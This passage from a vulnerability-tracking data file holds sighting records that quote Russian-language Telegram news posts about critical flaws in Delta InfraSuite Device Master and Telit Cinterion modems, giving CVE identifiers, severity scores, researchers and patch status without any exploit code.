\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0438\u043c\u0435\u044e\u0449\u0438\u0435 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0438 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0432 \u0432\u0438\u0434\u0435 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u0433\u043e \u0442\u0435\u043a\u0441\u0442\u0430.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043e\u0434\u043d\u0430 \u0438\u0437 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 (CVE-2023-47207) \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0438\u0437 \u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0430, \u0435\u0441\u043b\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0430 \u0438\u0437\u0432\u043d\u0435.\n\n\u0423\u0441\u043f\u0435\u0448\u043d\u044b\u0439 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0438 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043b\u044e\u0431\u044b\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0432 \u0440\u043e\u043b\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430.\n\n\u0412 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438, \u0447\u0442\u043e\u0431\u044b \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c InfraSuite Device Master \u0438 \u0441\u043a\u0440\u044b\u0442\u044c \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0432\u0430\u0436\u043d\u044b\u0435 \u043e\u043f\u043e\u0432\u0435\u0449\u0435\u043d\u0438\u044f \u043e\u0442 \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0430.", "creation_timestamp": "2023-12-11T17:10:06.000000Z"}, {"uuid": "f267721f-2096-433f-a748-be1bf832723a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47207", "type": "seen", "source": "https://t.me/true_secator/5187", "content": "\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 InfraSuite Device Master \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 Delta OT \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430\u0445 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\nInfraSuite Device Master \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0435 \u041f\u041e \u0434\u043b\u044f \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433\u0430 \u0426\u041e\u0414, \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u044f \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0430\u0436\u043d\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u043c \u0432\u0440\u0435\u043c\u0435\u043d\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043f\u0438\u0442\u0430\u043d\u0438\u044f \u0438 \u043e\u0445\u043b\u0430\u0436\u0434\u0435\u043d\u0438\u044f, \u0434\u0430\u0442\u0447\u0438\u043a\u0438 \u0438 ICS.\n\n\u041d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0438 \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438 \u041f\u0435\u0442\u0440\u043e\u043c \u0411\u0430\u0437\u044b\u0434\u043b\u043e \u0438 \u041d\u0433\u0443\u0435\u043d\u043e\u043c \u0414\u0438\u043d\u044c \u0425\u043e\u0430\u043d\u0433 \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 Trend Micro Zero Day Initiative, \u043e \u0447\u0435\u043c 18 \u0438\u044e\u043b\u044f \u0438 24 \u0430\u0432\u0433\u0443\u0441\u0442\u0430 \u0441\u043e\u043e\u0431\u0449\u0430\u043b\u043e\u0441\u044c \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0443.\n\n\u0412 \u043e\u0431\u0449\u0435\u0439 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0431\u044b\u043b\u043e \u043d\u0430\u0439\u0434\u0435\u043d\u043e \u0447\u0435\u0442\u044b\u0440\u0435 \u0442\u0438\u043f\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0434\u0432\u0443\u043c \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0431\u044b\u043b \u043f\u0440\u0438\u0441\u0432\u043e\u0435\u043d \u0440\u0435\u0439\u0442\u0438\u043d\u0433 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438.\n\n\u041e\u0448\u0438\u0431\u043a\u0438 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043a\u0430\u043a CVE-2023-47279 (CVSS 7.5), CVE-2023-46690 (CVSS 8.8) CVE-2023-39226 (CVSS 9.8) \u0438 CVE-2023-47207 (CVSS 9.8).\n\n\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c, \u043d\u0435 \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0438\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043f\u043e\u0434\u043b\u0438\u043d\u043d\u043e\u0441\u0442\u0438, \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0432 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\n\u0414\u0432\u0435 \u0434\u0440\u0443\u0433\u0438\u0435 \u0434\u044b\u0440\u044b \u0432 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0438\u043c\u0435\u044e\u0449\u0438\u0435 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0438 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0432 \u0432\u0438\u0434\u0435 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u0433\u043e \u0442\u0435\u043a\u0441\u0442\u0430.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043e\u0434\u043d\u0430 \u0438\u0437 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 (CVE-2023-47207) \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0438\u0437 \u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0430, \u0435\u0441\u043b\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0430 \u0438\u0437\u0432\u043d\u0435.\n\n\u0423\u0441\u043f\u0435\u0448\u043d\u044b\u0439 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0438 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043b\u044e\u0431\u044b\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0432 \u0440\u043e\u043b\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430.\n\n\u0412 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438, \u0447\u0442\u043e\u0431\u044b \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c InfraSuite Device Master \u0438 \u0441\u043a\u0440\u044b\u0442\u044c \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0432\u0430\u0436\u043d\u044b\u0435 \u043e\u043f\u043e\u0432\u0435\u0449\u0435\u043d\u0438\u044f \u043e\u0442 \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0430.", "creation_timestamp": "2023-12-11T17:10:06.000000Z"}, {"uuid": "8e889a90-69e6-4ce8-9cb0-5634b1175139", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47610", "type": "published-proof-of-concept", "source": "https://t.me/true_secator/5723", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0437 \u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043c\u043e\u0434\u0435\u043c\u0430\u0445 Telit Cinterion, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0447\u0435\u0440\u0435\u0437 SMS.\n\n\u0421\u043e\u0442\u043e\u0432\u044b\u0435 \u043c\u043e\u0434\u0435\u043c\u044b Cinterion \u043e\u0431\u044b\u0447\u043d\u043e \u0448\u0438\u0440\u043e\u043a\u043e \u0432\u043e\u0441\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u044b \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u0441\u0442\u0438, \u0437\u0434\u0440\u0430\u0432\u043e\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f, \u0442\u0435\u043b\u0435\u043a\u043e\u043c\u0430 \u0434\u043b\u044f \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f.\n\n\u0412 \u043e\u0431\u0449\u0435\u0439 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0432 \u043d\u043e\u044f\u0431\u0440\u0435 2023 \u0433\u043e\u0434\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438 Kaspersky ICS CERT \u0431\u044b\u043b\u043e \u043d\u0430\u0439\u0434\u0435\u043d\u043e \u0432\u043e\u0441\u0435\u043c\u044c \u043f\u0440\u043e\u0431\u043b\u0435\u043c, \u0441\u0435\u043c\u0438 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u0440\u0438\u0441\u0432\u043e\u0435\u043d\u044b CVE-2023-47610 - CVE-2023-47616, \u0435\u0449\u0435 \u043e\u0434\u043d\u0430 - \u0432 \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0438 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u0438.\n\n\u0412\u0441\u0435 \u043e\u043d\u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442 \u0448\u0438\u0440\u043e\u043a\u0443\u044e \u043b\u0438\u043d\u0435\u0439\u043a\u0443 \u043c\u043e\u0434\u0435\u043c\u043e\u0432, \u0432\u043a\u043b\u044e\u0447\u0430\u044f Cinterion BGS5, Cinterion EHS5/6/7, Cinterion PDS5/6/8, Cinterion ELS61/81 \u0438 Cinterion PLS62.\n\n\u0421\u0430\u043c\u0430\u044f \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u0430\u044f \u0438\u0437 \u043d\u0438\u0445 - CVE-2023-47610, \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u0443\u0447\u0438, \u0432\u043b\u0438\u044f\u0435\u0442 \u043d\u0430 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 User Plane Location (SUPL) \u043c\u043e\u0434\u0435\u043c\u0430, \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u044f \u0433\u043b\u0443\u0431\u043e\u043a\u0438\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043e\u0446\u0435\u043d\u0438\u043b\u0438 \u0435\u0435 \u043d\u0430 8,8, \u0432 \u0442\u043e \u0432\u0440\u0435\u043c\u044f \u043a\u0430\u043a \u043f\u043e \u043e\u0446\u0435\u043d\u043a\u0435 NIST \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0438\u043c\u0435\u0435\u0442 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u043e\u0446\u0435\u043d\u043a\u0443 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 9,8.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438, \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0432\u0448\u0438\u0435\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0445 SMS-\u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439, \u043c\u043e\u0433\u0443\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u043c\u043e\u0434\u0435\u043c\u0435 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0438 \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430.\n\n\u041f\u0440\u0438\u0447\u0435\u043c \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u043e\u0431\u043c\u0435\u043d\u0430 SMS-\u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f\u043c\u0438 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043d\u0430 \u0432\u0441\u0435\u0445 \u043c\u043e\u0434\u0435\u043c\u0430\u0445, \u0430 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043d\u0435\u043c\u0443 \u0432\u043e\u0437\u043c\u043e\u0436\u0435\u043d, \u0435\u0441\u043b\u0438 \u0438\u0437\u0432\u0435\u0441\u0442\u0435\u043d \u0430\u0431\u043e\u043d\u0435\u043d\u0442\u0441\u043a\u0438\u0439 \u043d\u043e\u043c\u0435\u0440 \u0446\u0435\u043b\u0435\u0432\u043e\u0433\u043e \u043c\u043e\u0434\u0435\u043c\u0430 \u0432 \u0441\u0435\u0442\u0438 \u0441\u043e\u0442\u043e\u0432\u043e\u0433\u043e \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0430.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0441 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u043e\u0439 \u0434\u0432\u043e\u0438\u0447\u043d\u044b\u0445 SMS \u0442\u0430\u043a\u0436\u0435 \u043c\u043e\u0436\u043d\u043e \u043d\u0438\u0432\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c, \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044f \u043f\u043e\u0434\u0434\u0435\u043b\u044c\u043d\u0443\u044e \u0431\u0430\u0437\u043e\u0432\u0443\u044e \u0441\u0442\u0430\u043d\u0446\u0438\u044e, \u0447\u0442\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0442 \u043e\u0431\u0445\u043e\u0434 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0439 \u043d\u0430 \u0441\u0442\u043e\u0440\u043e\u043d\u0435 \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0430.\n\n\u0414\u0440\u0443\u0433\u0438\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0431\u043e\u043b\u0435\u0435 \u043d\u0438\u0437\u043a\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438, \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f \u043d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u044f \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u0438 MIDlet - Java-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 \u0441 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u043c\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u044f\u043c\u0438.\n\n\u041e\u0434\u043d\u0430 \u0438\u0437 \u043d\u0438\u0445 CVE-2023-47611 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0441 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u043d\u044b\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 (\u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f), \u043e\u0431\u0445\u043e\u0434\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0446\u0438\u0444\u0440\u043e\u0432\u043e\u0439 \u043f\u043e\u0434\u043f\u0438\u0441\u0438.\n\nTelit \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438 \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0432 \u043a\u043e\u043d\u0446\u0435 \u043f\u0440\u043e\u0448\u043b\u043e\u0433\u043e \u0433\u043e\u0434\u0430, \u043d\u043e \u043d\u0435 \u0432\u0441\u0435\u0445: \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043e\u0441\u0442\u0430\u043b\u0438\u0441\u044c \u043d\u0435\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u043c\u0438. \n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u044e\u0442, \u0447\u0442\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0438 \u0441 \u0448\u0438\u0440\u043e\u043a\u0438\u043c \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0435\u043c \u044d\u0442\u0438\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u0432 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0441\u0435\u043a\u0442\u043e\u0440\u0430\u0445 \u043d\u0435\u0441\u0443\u0442 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u043d\u044b\u0445 \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u044b\u0445 \u0441\u0431\u043e\u0435\u0432.\n\n\u0422\u0435\u043c \u0431\u043e\u043b\u0435\u0435, \u0447\u0442\u043e \u043c\u043e\u0434\u0435\u043c\u044b \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u044b \u0432 \u0434\u0440\u0443\u0433\u0438\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u044f, \u0432 \u0441\u0432\u044f\u0437\u0438 \u0441 \u0447\u0435\u043c \u0447\u0435\u0442\u043a\u043e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c \u0432\u0435\u0441\u044c \u0441\u043f\u0435\u043a\u0442\u0440 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0441\u043b\u043e\u0436\u043d\u043e.\n\n\u0422\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u0438 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0434\u043b\u044f 